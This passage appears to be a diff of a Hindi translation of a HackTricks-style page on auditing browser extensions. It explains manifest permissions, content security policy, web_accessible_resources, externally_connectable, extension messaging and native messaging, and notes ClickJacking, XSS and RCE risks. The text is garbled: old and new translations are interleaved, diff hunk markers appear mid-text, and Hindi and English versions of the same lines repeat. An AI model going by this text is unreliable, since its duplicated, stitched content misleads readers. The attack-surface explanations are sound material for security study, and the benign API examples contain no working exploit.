- **विकल्प पृष्ठ**: यह पृष्ठ क्लिक करने पर एक्सटेंशन के शीर्ष पर प्रदर्शित होता है। पिछले मैनिफेस्ट में, मैं इस पृष्ठ तक `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` में पहुँचने में सक्षम था या क्लिक करके:
- **Action pages** प्रदर्शित होते हैं in a **drop-down when the extension ico**n पर क्लिक किए जाने पर
- वे पेज जिन्हें एक्सटेंशन **load in a new tab** करेगा
- **Option Pages**: यह पेज क्लिक करने पर एक्सटेंशन के ऊपर प्रदर्शित होता है। पिछले manifest में, मेरे केस में मैं इस पेज को `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` पर पहुँच सका या क्लिक करके:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
ध्यान दें कि ये पृष्ठ पृष्ठभूमि पृष्ठों की तरह स्थायी नहीं होते हैं क्योंकि वे आवश्यकता के अनुसार गतिशील सामग्री लोड करते हैं। इसके बावजूद, वे पृष्ठभूमि पृष्ठ के साथ कुछ क्षमताएँ साझा करते हैं:
ध्यान दें कि ये पेज बैकग्राउंड पेजों की तरह persistent नहीं होते क्योंकि वे आवश्यकता के अनुसार डायनामिक रूप से कंटेंट लोड करते हैं। इसके बावजूद, इनके पास बैकग्राउंड पेज के साथ कुछ समान क्षमताएँ होती हैं:
- **सामग्री स्क्रिप्ट के साथ संचार:** पृष्ठभूमि पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जिससे एक्सटेंशन के भीतर इंटरैक्शन को सुविधाजनक बनाया जा सकता है।
- **एक्सटेंशन-विशिष्ट APIs तक पहुँच:** इन पृष्ठों को एक्सटेंशन-विशिष्ट APIs तक व्यापक पहुँच प्राप्त होती है, जो एक्सटेंशन के लिए परिभाषित अनुमतियों के अधीन होती है।
- **Communication with Content Scripts:** बैकग्राउंड पेज के समान, ये पेज content scripts से messages प्राप्त कर सकते हैं, जिससे एक्सटेंशन के अंदर इंटरैक्शन संभव होता है।
- **Access to Extension-Specific APIs:** ये पेज extension-specific APIs तक व्यापक पहुँच रखते हैं, जो एक्सटेंशन के लिए परिभाषित permissions पर निर्भर करती है।
### `permissions` & `host_permissions`
**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि ब्राउज़र एक्सटेंशन के पास कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों पर**
**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
चूंकि ब्राउज़र एक्सटेंशन **विशेषाधिकार प्राप्त** हो सकते हैं, एक दुर्भावनापूर्ण या एक जो समझौता किया गया हो, हमलावर को **संवेदनशील जानकारी चुराने और उपयोगकर्ता पर जासूसी करने के लिए विभिन्न साधनों की अनुमति दे सकता है**
As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**.
Check how these settings work and how they could get abused in:
जांचें कि ये सेटिंग्स कैसे काम करती हैं और कैसे इनका दुरुपयोग किया जा सकता है:
{{#ref}}
browext-permissions-and-host_permissions.md
@ -262,9 +263,9 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
एक **सामग्री सुरक्षा नीति** को `manifest.json` के अंदर भी घोषित किया जा सकता है। यदि एक परिभाषित है, तो यह **कमजोर** हो सकता है।
A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
ब्राउज़र एक्सटेंशन पृष्ठों के लिए डिफ़ॉल्ट सेटिंग काफी प्रतिबंधात्मक है:
The default setting for browser extension pages is rather restrictive:
```bash
script-src 'self'; object-src 'self';
```
@ -276,7 +277,8 @@ CSP और संभावित बायपास के बारे मे
### `web_accessible_resources`
किसी वेबपेज को ब्राउज़र एक्सटेंशन के एक पृष्ठ, जैसे कि `.html` पृष्ठ, तक पहुँचने के लिए, इस पृष्ठ को `manifest.json` के **`web_accessible_resources`** क्षेत्र में उल्लेखित होना चाहिए।\
एक वेबपेज द्वारा Browser Extension के किसी पेज, उदाहरण के लिए `.html` पेज, तक पहुँचने के लिए, उस पेज का उल्लेख `manifest.json` की **`web_accessible_resources`** फ़ील्ड में होना चाहिए.\
उदाहरण के लिए:
```javascript
{
@ -294,20 +296,20 @@ CSP और संभावित बायपास के बारे मे
...
}
```
ये पृष्ठ URL में उपलब्ध हैं जैसे:
ये पेज़ निम्नलिखित प्रकार के URL पर उपलब्ध हैं:
```
chrome-extension://<extension-id>/message.html
```
सार्वजनिक एक्सटेंशनों में **extension-id उपलब्ध है**:
In public extensions the **extension-id is accesible**:
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
हालांकि, यदि `manifest.json` पैरामीटर **`use_dynamic_url`** का उपयोग किया जाता है, तो यह **id गतिशील हो सकता है**
Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**.
> [!TIP]
> ध्यान दें कि यहां यदि किसी पृष्ठ का उल्लेख किया गया है, तो यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले इसे (frame-ancestors अनुभाग) भी जांचना आवश्यक है
> ध्यान दें कि भले ही कोई पेज यहाँ उल्लिखित हो, वह **ClickJacking के खिलाफ protected** हो सकता है, thanks to the **Content Security Policy**. इसलिए ClickJacking attack संभव है या नहीं, यह सुनिश्चित करने से पहले आपको इसे (frame-ancestors section) भी चेक करना होगा
इन पृष्ठों तक पहुंचने की अनुमति होने से ये पृष्ठ **संभावित रूप से कमजोर ClickJacking** बन जाते हैं:
Being allowed to access these pages make these pages **potentially vulnerable ClickJacking**:
{{#ref}}
@ -315,51 +317,51 @@ browext-clickjacking.md
{{#endref}}
> [!TIP]
> इन पृष्ठों को केवल एक्सटेंशन द्वारा लोड करने की अनुमति देना और यादृच्छिक URLs द्वारा नहीं, ClickJacking हमलों को रोक सकता है।
> इन पेजों को केवल extension द्वारा लोड होने की अनुमति देना और बेतरतीब URLs द्वारा न लोड होने देना ClickJacking attacks को रोक सकता है।
> [!CAUTION]
> ध्यान दें कि **`web_accessible_resources`** से पृष्ठ और एक्सटेंशन के अन्य पृष्ठ भी **पृष्ठभूमि स्क्रिप्ट से संपर्क करने में सक्षम** हैं। इसलिए यदि इनमें से कोई पृष्ठ **XSS** के लिए कमजोर है, तो यह एक बड़ी कमजोरी खोल सकता है।
> ध्यान दें कि **`web_accessible_resources`** से आए पेज और extension के अन्य पेज भी **contacting background scripts** करने में सक्षम होते हैं। इसलिए यदि इनमें से कोई पेज **XSS** के लिए vulnerable है तो यह एक बड़ा vulnerability खोल सकता है।
>
> इसके अलावा, ध्यान दें कि आप केवल **`web_accessible_resources`** में निर्दिष्ट पृष्ठों को iframes के अंदर खोल सकते हैं, लेकिन एक नए टैब से एक्सटेंशन ID जानने पर किसी भी पृष्ठ तक पहुंचना संभव है। इसलिए, यदि एक XSS पाया जाता है जो समान पैरामीटर का दुरुपयोग करता है, तो इसका दुरुपयोग किया जा सकता है भले ही पृष्ठ **`web_accessible_resources`** में कॉन्फ़िगर न किया गया हो
> इसके अलावा, ध्यान दें कि आप केवल वही पेज जो **`web_accessible_resources`** में बताए गए हैं को iframes के अंदर खोल सकते हैं, लेकिन एक नए टैब से extension ID जानकर extension का कोई भी पेज एक्सेस करना संभव है। इसलिए, यदि उसी पैरामीटर का दुरुपयोग करके कोई XSS मिलता है, तो इसे उस पेज के **`web_accessible_resources`** में configured न होने पर भी दुरुपयोग किया जा सकता है
### `externally_connectable`
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) के अनुसार, `"externally_connectable"` मैनिफेस्ट प्रॉपर्टी **यह घोषित करती है कि कौन सी एक्सटेंशन और वेब पृष्ठ आपके एक्सटेंशन से [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) और [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) के माध्यम से कनेक्ट कर सकते हैं**
A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- यदि **`externally_connectable`** कुंजी आपके एक्सटेंशन के मैनिफेस्ट में **घोषित नहीं** की गई है या इसे **`"ids": ["*"]`** के रूप में घोषित किया गया है, तो **सभी एक्सटेंशन कनेक्ट कर सकते हैं, लेकिन कोई वेब पृष्ठ कनेक्ट नहीं कर सकता**
- यदि **विशिष्ट IDs निर्दिष्ट की गई हैं**, जैसे `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, तो **केवल वही एप्लिकेशन** कनेक्ट कर सकते हैं।
- यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट करने में सक्षम होंगे:
- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**.
- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect.
- If **matches** are specified, those web apps will be able to connect:
```json
"matches": [
"https://*.google.com/*",
"*://*.chromium.org/*",
```
- यदि इसे खाली के रूप में निर्दिष्ट किया गया है: **`"externally_connectable": {}`**, तो कोई ऐप या वेब कनेक्ट नहीं कर सकेगा।
- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect.
यहां निर्दिष्ट **कम एक्सटेंशन और URL** होने पर, **हमला सतह** **छोटी** होगी।
The **less extensions and URLs** indicated here, the **smaller the attack surface** will be.
> [!CAUTION]
> यदि कोई वेब पृष्ठ **XSS या टेकओवर के लिए संवेदनशील** है और इसे **`externally_connectable`** में निर्दिष्ट किया गया है, तो एक हमलावर **पृष्ठभूमि स्क्रिप्ट** को सीधे **संदेश भेजने** में सक्षम होगा, पूरी तरह से कंटेंट स्क्रिप्ट और इसके CSP को बायपास करते हुए।
> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP.
>
> इसलिए, यह एक **बहुत शक्तिशाली बायपास** है।
> Therefore, this is a **very powerful bypass**.
>
> इसके अलावा, यदि क्लाइंट एक रॉग एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **XSS डेटा को एक अनुमत वेब पृष्ठ में** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदलते हुए। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है।
> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## संचार सारांश
## Communication summary
### एक्सटेंशन <--> वेब ऐप
### Extension <--> WebApp
कंटेंट स्क्रिप्ट और वेब पृष्ठ के बीच संवाद करने के लिए आमतौर पर पोस्ट संदेशों का उपयोग किया जाता है। इसलिए, वेब एप्लिकेशन में आपको आमतौर पर **`window.postMessage`** फ़ंक्शन के लिए कॉल मिलेंगे और कंटेंट स्क्रिप्ट में **`window.addEventListener`** जैसे श्रोता मिलेंगे। हालांकि, ध्यान दें कि एक्सटेंशन भी **एक पोस्ट संदेश भेजकर वेब एप्लिकेशन के साथ संवाद कर सकता है** (और इसलिए वेब को इसकी अपेक्षा करनी चाहिए) या बस वेब को एक नया स्क्रिप्ट लोड करने के लिए बना सकता है।
To communicate between the content script and the web page post messages are usually used. Therefore, in the web application you will usually find calls to the function **`window.postMessage`** and in the content script listeners like **`window.addEventListener`**. Note however, that the extension could also **communicate with the web application sending a Post Message** (and therefore the web should expect it) or just make the web load a new script.
### एक्सटेंशन के अंदर
### Inside the extension
आमतौर पर **`chrome.runtime.sendMessage`** का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आमतौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है।
Usually the function **`chrome.runtime.sendMessage`** is used to send a message inside the extension (usually handled by the `background` script) and in order to receive and handle it a listener is declared calling **`chrome.runtime.onMessage.addListener`**.
यह **`chrome.runtime.connect()`** का उपयोग करके एक स्थायी कनेक्शन बनाने के लिए भी संभव है, इसके बजाय एकल संदेश भेजने के, इसे **संदेश** भेजने और **प्राप्त करने** के लिए उपयोग किया जा सकता है जैसे कि निम्नलिखित उदाहरण में:
It's also possible to use **`chrome.runtime.connect()`** to have a persistent connection instead of sending single messages, it's possible to use it to **send** and **receive** **messages** like in the following example:
<details>
<summary><code>chrome.runtime.connect()</code> उदाहरण</summary>
<summary><code>chrome.runtime.connect()</code> example</summary>
```javascript
var port = chrome.runtime.connect()
@ -390,19 +392,19 @@ console.log("Content script received message from background script:", msg)
```
</details>
यह भी संभव है कि एक बैकग्राउंड स्क्रिप्ट से एक कंटेंट स्क्रिप्ट को संदेश भेजा जाए जो एक विशेष टैब में स्थित है, **`chrome.tabs.sendMessage`** को कॉल करके, जहाँ आपको संदेश भेजने के लिए **टैब का ID** निर्दिष्ट करने की आवश्यकता होगी
यह भी संभव है कि एक background script किसी specific टैब में स्थित content script को संदेश भेज सके, **`chrome.tabs.sendMessage`** कॉल करके, जहाँ आपको संदेश भेजने के लिए उस टैब का **ID** निर्दिष्ट करना होगा
### अनुमति प्राप्त `externally_connectable` से एक्सटेंशन तक
### अनुमति दिए गए `externally_connectable` से एक्सटेंशन तक
**वेब ऐप्स और बाहरी ब्राउज़र एक्सटेंशन** जो `externally_connectable` कॉन्फ़िगरेशन में अनुमति प्राप्त हैं, का उपयोग करके अनुरोध भेज सकते हैं:
**Web apps और external browser extensions जिन्हें अनुमति दी गई है** `externally_connectable` configuration में, वे निम्न का उपयोग करके अनुरोध भेज सकते हैं :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
जहा**extension ID** का उल्लेख करना आवश्यक है
जहाँ आवश्यक हो **extension ID** का उल्लेख करें
### Native Messaging
यह संभव है कि बैकग्राउंड स्क्रिप्ट सिस्टम के अंदर बाइनरी के साथ संवाद करें, जो कि यदि इस संवाद को सही तरीके से सुरक्षित नहीं किया गया तो **महत्वपूर्ण कमजोरियों जैसे RCEs** के प्रति **संवेदनशील** हो सकते हैं। [More on this later](#native-messaging).
यह संभव है कि background scripts सिस्टम के अंदर मौजूद binaries के साथ संचार कर सकें, जो कि यदि यह संचार ठीक से सुरक्षित न किया गया हो तो **prone to critical vulnerabilities such as RCEs** हो सकते हैं। [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -412,9 +414,9 @@ console.log("Received " + response)
}
)
```
## Web **↔︎** Content Script Communication
## Web **↔︎** Content Script संचार
जहाँ **content scripts** कार्य करते हैं और जहाँ होस्ट पृष्ठ मौजूद होते हैं, वे एक-दूसरे से **अलग** होते हैं, जिससे **अलगाव** सुनिश्चित होता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **Document Object Model (DOM)** के साथ बातचीत करने की क्षमता होती है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **content script** के साथ संवाद करने के लिए, या अप्रत्यक्ष रूप से content script के माध्यम से एक्सटेंशन के साथ, उस **DOM** का उपयोग करना आवश्यक है जो दोनों पक्षों द्वारा सुलभ है, जो संवाद चैनल के रूप में कार्य करता है।
वे वातावरण जहाँ **content scripts** चलते हैं और जहाँ host pages मौजूद हैं, वे एक-दूसरे से **separated** होते हैं, जिससे **isolation** सुनिश्चित होता है। इस **isolation** के बावजूद, दोनों पेज के **Document Object Model (DOM)** के साथ इंटरैक्ट करने में सक्षम होते हैं, जो एक साझा संसाधन है। host page को **content script** के साथ सीधे संवाद करने या content script के माध्यम से extension के साथ परोक्ष रूप से संवाद करने के लिए दोनों द्वारा पहुँच योग्य **DOM** को संचार चैनल के रूप में उपयोग करना आवश्यक है।
### Post Messages
```javascript:content-script.js
@ -451,15 +453,15 @@ window.postMessage(
false
)
```
एक सुरक्षित Post Message संचार को प्राप्त संदेश की प्रामाणिकता की जांच करनी चाहिए, यह निम्नलिखित की जांच करके किया जा सकता है:
A secure Post Message communication should check the authenticity of the received message, this can be done checking:
- **`event.isTrusted`**: यह केवल तब सत्य है जब घटना उपयोगकर्ता की क्रिया द्वारा ट्रिगर की गई हो
- सामग्री स्क्रिप्ट केवल तभी संदेश की अपेक्षा कर सकती है जब उपयोगकर्ता कुछ क्रिया करता है
- **origin domain**: केवल डोमेन की अनुमति सूची में संदेश की अपेक्षा कर सकती है।
- यदि regex का उपयोग किया जाता है, तो बहुत सावधान रहें
- **Source**: `received_message.source !== window` का उपयोग यह जांचने के लिए किया जा सकता है कि क्या संदेश **उसी विंडो से** था जहां सामग्री स्क्रिप्ट सुन रही है।
- **`event.isTrusted`**: This is True only if the event was triggered by a users action
- The content script might expecting a message only if the user performs some action
- **origin domain**: might expecting a message only allowlist of domains.
- If a regex is used, be very careful
- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening.
पिछली जांचें, भले ही की गई हों, कमजोर हो सकती हैं, इसलिए निम्नलिखित पृष्ठ में **संभावित Post Message बायपास** की जांच करें:
ऊपर दिए गए चेक, भले ही लागू किए गए हों, कमजोर हो सकते हैं — इसलिए निम्नलिखित पेज पर संभावित Post Message bypasses देखें:
{{#ref}}
@ -468,7 +470,7 @@ false
### Iframe
संचार का एक और संभावित तरीका **Iframe URLs** के माध्यम से हो सकता है, आप इसका एक उदाहरण यहाँ पा सकते हैं:
संचार का एक और संभावित तरीका **Iframe URLs** के माध्यम से हो सकता है; इसका एक उदाहरण आप यहाँ पा सकते हैं:
{{#ref}}
@ -477,22 +479,22 @@ browext-xss-example.md
### DOM
यह "संचार का तरीका" नहीं है, लेकिन **वेब और सामग्री स्क्रिप्ट को वेब DOM तक पहुंच होगी**। इसलिए, यदि **सामग्री स्क्रिप्ट** इससे कुछ जानकारी पढ़ रही है, **वेब DOM पर भरोसा करते हुए**, वेब इस डेटा को **संशोधित कर सकता है** (क्योंकि वेब पर भरोसा नहीं किया जाना चाहिए, या क्योंकि वेब XSS के प्रति संवेदनशील है) और **सामग्री स्क्रिप्ट को समझौता कर सकता है**
यह "बिल्कुल" एक संचार तरीका नहीं है, लेकिन **web और Content Script दोनों के पास web DOM तक पहुंच होगी**। इसलिए, यदि **Content Script** DOM से कोई जानकारी पढ़ रही है और **web DOM** पर भरोसा कर रही है, तो web उस data को बदल सकता है (क्योंकि web पर भरोसा नहीं किया जाना चाहिए, या web XSS के लिए vulnerable है) और **Content Script को compromise** कर सकता है
आप एक **DOM आधारित XSS से ब्राउज़र एक्सटेंशन को समझौता करने** का एक उदाहरण भी यहाँ पा सकते हैं:
DOM आधारित XSS के जरिए browser extension compromise करने का एक उदाहरण आप यहाँ पा सकते हैं:
{{#ref}}
browext-xss-example.md
{{#endref}}
## सामग्री स्क्रिप्ट **↔︎** बैकग्राउंड स्क्रिप्ट संचार
## Content Script **↔︎** Background Script Communication
एक सामग्री स्क्रिप्ट [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **या** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) का उपयोग करके **एक बार JSON-सीरियलाइज़ेबल** संदेश भेज सकती है।
एक Content Script इन फ़ंक्शनों [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **या** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) का उपयोग करके एक **one-time JSON-serializable** संदेश भेज सकता है।
**प्रतिक्रिया** को संभालने के लिए, लौटाए गए **Promise** का उपयोग करें। हालांकि, पीछे की संगतता के लिए, आप अभी भी अंतिम तर्क के रूप में एक **callback** पास कर सकते हैं।
response को handle करने के लिए, returned **Promise** का उपयोग करें। हालांकि backward compatibility के लिए, आप अभी भी last argument के रूप में एक **callback** पास कर सकते हैं।
एक **सामग्री स्क्रिप्ट** से अनुरोध भेजना इस तरह दिखता है:
एक **content script** से request भेजने का तरीका इस तरह दिखता है:
```javascript
;(async () => {
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@ -500,7 +502,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
**एक्सटेंशन** से एक अनुरोध भेजना (आमतौर पर एक **बैकग्राउंड स्क्रिप्ट**)। चयनित टैब में सामग्री स्क्रिप्ट को संदेश भेजने का उदाहरण:
**extension** से अनुरोध भेजना (आम तौर पर एक **background script**). चयनित टैब में content script को संदेश भेजने का उदाहरण:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@ -513,7 +515,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
**प्राप्ति पक्ष** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करना होगा। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है।
प्राप्त करने वाले पक्ष पर, आपको संदेश को संभालने के लिए [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** सेट करना होगा। यह content script या extension page दोनों पर एक जैसा दिखता है।
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -525,15 +527,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
उदाहरण में हाइलाइट किया गया, **`sendResponse()`** को समकालिक तरीके से निष्पादित किया गया था। `sendResponse()` के असमकालिक निष्पादन के लिए `onMessage` इवेंट हैंडलर को संशोधित करने के लिए, `return true;` को शामिल करना अनिवार्य है।
उदाहरण में हाइलाइट किए गए हिस्से में, **`sendResponse()`** एक सिंक्रोनस तरीके से execute हुआ था। `sendResponse()` को asynchronous रूप में execute करने के लिए `onMessage` event handler में `return true;` जोड़ना अनिवार्य है।
एक महत्वपूर्ण विचार यह है कि उन परिदृश्यों में जहां कई पृष्ठ `onMessage` इवेंट प्राप्त करने के लिए सेट किए गए हैं, **विशिष्ट इवेंट के लिए `sendResponse()`** निष्पादित करने वाला पहला पृष्ठ ही प्रभावी रूप से प्रतिक्रिया देने में सक्षम होगा। उसी इवेंट के लिए किसी भी बाद की प्रतिक्रियाओं पर विचार नहीं किया जाएगा।
एक महत्वपूर्ण बात यह है कि जब कई पेज `onMessage` events प्राप्त करने के लिए सेट होते हैं, तो **सबसे पहला पेज जो `sendResponse()` को execute करेगा** वही किसी विशेष इवेंट के लिए प्रभावी रूप से response भेज पाएगा। उसी इवेंट के लिए बाद में भेजे गए किसी भी response को ध्यान में नहीं लिया जाएगा।
ई एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर असमकालिक संचालन को `true` लौटाकर इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा।
ए extensions बनाते समय callbacks के बजाय promises को प्राथमिकता देनी चाहिए। callbacks के उपयोग के संदर्भ में, `sendResponse()` function केवल तभी वैध माना जाता है जब यह सीधे synchronous context के भीतर execute हो, या जब event handler asynchronous ऑपरेशन सूचित करने के लिए `true` लौटाए। यदि किसी भी handler ने `true` नहीं लौटाया या `sendResponse()` function memory से हटा दिया गया (garbage-collected), तो डिफ़ॉल्ट रूप से `sendMessage()` से संबंधित callback ट्रिगर हो जाएगा।
## Native Messaging
ब्राउज़र एक्सटेंशन **stdin के माध्यम से सिस्टम में बाइनरी के साथ संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को इस बात का संकेत देने वाला एक json स्थापित करना चाहिए जैसे:
Browser extensions सिस्टम में मौजूद **binaries in the system via stdin** से संवाद करने की अनुमति भी देते हैं। एप्लिकेशन को इसके लिए एक json इंस्टॉल करना होगा जो ऐसा संकेत करे, जैसे एक json:
```json
{
"name": "com.my_company.my_application",
@ -543,14 +545,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
जहाँ `name` वह स्ट्रिंग है जो [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) या [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) को एप्लिकेशन के साथ संवाद करने के लिए बैकग्राउंड स्क्रिप्ट्स से पास की जाती है। `path` बाइनरी का पथ है, केवल 1 मान्य `type` है जो stdio है (stdin और stdout का उपयोग करें) और `allowed_origins` उन एक्सटेंशनों को इंगित करता है जो इसे एक्सेस कर सकते हैं (और इसमें वाइल्डकार्ड नहीं हो सकता)।
जहाँ `name` वह स्ट्रिंग है जो ब्राउज़र एक्सटेंशन के background scripts से application से संवाद करने के लिए [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) या [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) को पास की जाती है। `path` binary का path है, केवल 1 मान्य `type` है जो stdio है (stdin और stdout का उपयोग करता है) और `allowed_origins` उन एक्सटेंशनों को दर्शाते हैं जो इसे एक्सेस कर सकती हैं (और इनमें wildcard नहीं हो सकता)।
Chrome/Chromium इस json को कुछ विंडोज रजिस्ट्री और macOS और Linux में कुछ पथों में खोजेगा (अधिक जानकारी के लिए [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) में देखें)।
Chrome/Chromium कुछ Windows registry और macOS तथा Linux के कुछ paths में इस json की खोज करेगा (अधिक जानकारी [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging))।
> [!TIP]
> ब्राउज़र एक्सटेंशन को इस संचार का उपयोग करने के लिए `nativeMessaing` अनुमति घोषित करने की भी आवश्यकता है
> ब्राउज़र एक्सटेंशन को इस संचार का उपयोग करने में सक्षम होने के लिए `nativeMessaing` permission भी declared होना चाहिए
यहाँ एक बैकग्राउंड स्क्रिप्ट कोड का उदाहरण है जो एक नेटीव एप्लिकेशन को संदेश भेजता है:
यह कुछ background script code का ऐसा दिखता है जो native application को messages भेज रहा है:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -560,144 +562,152 @@ console.log("Received " + response)
}
)
```
In [**इस ब्लॉग पोस्ट**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) में, एक कमजोर पैटर्न जो नेटिव मैसेजेस का दुरुपयोग करता है, प्रस्तावित किया गया है:
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), एक vulnerable pattern जो native messages का दुरुपयोग करता है प्रस्तावित किया गया है:
1. ब्राउज़र एक्सटेंशन के लिए कंटेंट स्क्रिप्ट का एक वाइल्डकार्ड पैटर्न है।
2. कंटेंट स्क्रिप्ट `sendMessage` का उपयोग करके बैकग्राउंड स्क्रिप्ट को `postMessage` संदेश भेजता है।
3. बैकग्राउंड स्क्रिप्ट `sendNativeMessage` का उपयोग करके संदेश को नेटिव एप्लिकेशन को भेजता है।
4. नेटिव एप्लिकेशन संदेश को खतरनाक तरीके से संभालता है, जिससे कोड निष्पादन होता है।
1. Browser extension में content script के लिए एक wildcard pattern होता है।
2. Content script `postMessage` संदेशों को background script को `sendMessage` के जरिए पास करता है।
3. Background script संदेश को native application को `sendNativeMessage` के जरिए पास करता है।
4. Native application उस संदेश को खतरनाक तरीके से हैंडल करता है, जिससे code execution हो सकता है।
और इसके अंदर **किसी भी पृष्ठ से RCE में जाने के लिए एक ब्राउज़र एक्सटेंशन का दुरुपयोग करने का उदाहरण समझाया गया है**
और इसके अंदर एक उदाहरण बताया गया है कि किसी भी पेज से RCE तक कैसे पहुंचा जा सकता है abusing a browser extension
## मेमोरी/कोड/क्लिपबोर्ड में संवेदनशील जानकारी
## Sensitive Information in Memory/Code/Clipboard
यदि एक ब्राउज़र एक्सटेंशन **अपनी मेमोरी के अंदर संवेदनशील जानकारी संग्रहीत करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
